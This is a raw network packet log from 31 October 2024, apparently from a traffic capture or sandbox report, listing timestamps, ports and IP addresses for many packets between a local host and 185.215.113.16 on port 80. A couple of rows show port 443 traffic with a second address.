Oct 31, 2024 01:19:27.483735085 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.483773947 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.483778000 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.483812094 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.483825922 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.483865023 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.483869076 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.483905077 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.483917952 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.483958006 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.483961105 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.484008074 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.484019995 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.484050035 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.484070063 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.484093904 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.484101057 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.484153032 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.484153986 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.484205008 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.484205008 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.484241009 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.484256029 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.484275103 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.484292030 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.484323025 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.484328032 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.484379053 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.484380007 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.484412909 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.484430075 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.484443903 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.484466076 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.484479904 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.484488964 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.484514952 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.484529018 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.484565020 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.484566927 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.484620094 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.484626055 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.484653950 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.484668970 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.484688997 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.484710932 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.484746933 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.484747887 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.484797955 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.484801054 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.484837055 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.484846115 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.484873056 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.484884977 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.484910011 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.484920025 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.484960079 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.484961033 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.485009909 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.485014915 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.485052109 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.485064983 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.485086918 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.485105991 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.485122919 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.485136032 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.485157013 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.485177040 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.485193014 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.485202074 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.485244036 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.485244989 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.485280037 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.485296965 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.485310078 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.485321999 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.485361099 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.485361099 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.485398054 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.485413074 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.485434055 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.485443115 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.485469103 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.485486031 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.485505104 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.485512018 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.485541105 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.485563993 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.485575914 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.485594034 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.485610962 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.485630989 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.485656977 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.485661983 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.485714912 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.485717058 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.485754013 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.485764980 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.485788107 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.485801935 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.485821962 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.485836983 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.485858917 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.485876083 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.485909939 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.485915899 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.485945940 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.485969067 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.485980034 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486000061 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.486028910 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.486031055 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486064911 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486083984 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.486108065 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.486115932 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486150026 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486162901 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.486188889 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486200094 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.486207008 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486223936 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486239910 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486244917 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.486244917 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.486257076 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486268997 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.486275911 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486293077 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486295938 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.486295938 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.486308098 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486318111 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.486320019 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486332893 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486337900 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.486345053 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486356974 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486358881 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.486368895 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486378908 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.486381054 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486392975 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486401081 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.486404896 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486418009 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486428976 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486438036 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.486442089 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486457109 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486459970 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.486469030 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486479998 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.486481905 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486494064 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486500025 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.486516953 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486521959 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.486531973 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486542940 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.486543894 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486557961 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486576080 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486584902 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.486588001 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486599922 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486608028 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.486612082 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486624956 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486628056 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.486637115 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486646891 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.486649990 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486663103 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486675978 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486687899 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.486694098 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486709118 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486710072 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.486710072 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.486721039 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486735106 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486743927 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.486745119 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.486747980 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486762047 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486764908 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.486773014 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486783981 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.486787081 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486802101 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.486808062 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486826897 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486833096 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.486840010 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486850977 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486855984 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.486862898 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486876011 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486886978 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486892939 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.486900091 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486912012 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486913919 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.486932039 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486933947 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.486944914 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486955881 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486955881 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.486969948 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486982107 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486994028 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.486999989 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.486999989 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.487005949 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.487018108 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.487025976 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.487030983 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.487044096 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.487054110 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.487066031 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.487077951 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.487083912 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.487104893 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.487123966 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.487210989 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.487258911 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.487270117 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.487282038 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.487293005 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.487329006 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.487329006 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.487341881 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.487350941 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.487361908 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.487373114 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.487385035 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.487389088 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.487395048 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.487407923 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.487416983 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.487416983 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.487437010 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.487457991 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.487513065 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.487560034 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.487581015 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.487601042 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.487612963 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.487624884 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.487629890 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.487629890 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.487657070 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.487677097 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.488132954 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.488183022 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.488347054 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.488358974 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.488369942 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.488382101 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.488394022 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.488404036 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.488404036 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.488405943 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.488420010 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.488425016 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.488430977 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.488444090 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.488451004 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.488455057 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.488468885 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.488471985 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.488487005 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.488496065 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.488500118 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.488512039 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.488514900 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.488524914 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.488538027 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.488549948 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.488548994 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.488560915 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.488568068 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.488573074 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.488584995 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.488584995 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.488595963 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.488603115 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.488610029 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.488621950 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.488626003 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.488636971 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.488647938 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.488656044 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.488661051 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.488673925 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.488677025 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.488693953 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.488723993 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.492141008 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.492156029 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.492173910 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.492196083 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.492206097 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.492208004 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.492221117 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.492230892 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.492233992 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.492254019 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.492254019 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.492268085 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.492271900 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.492280006 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.492295980 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.492300034 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.492314100 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.492325068 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.492333889 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.492337942 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.492362976 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.492362976 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.492388010 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.574681997 CET	50005	443	192.168.2.6	188.114.97.3
Oct 31, 2024 01:19:27.574698925 CET	443	50005	188.114.97.3	192.168.2.6
Oct 31, 2024 01:19:27.639328003 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.639348984 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.639369011 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.639381886 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.639390945 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.639409065 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.639406919 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.639421940 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.639432907 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.639445066 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.639458895 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.639461994 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.639461994 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.639472961 CET	80	50004	185.215.113.16	192.168.2.6
Oct 31, 2024 01:19:27.639496088 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.639496088 CET	50004	80	192.168.2.6	185.215.113.16
Oct 31, 2024 01:19:27.639513016 CET	80	50004	185.215.113.16	192.168.2.6
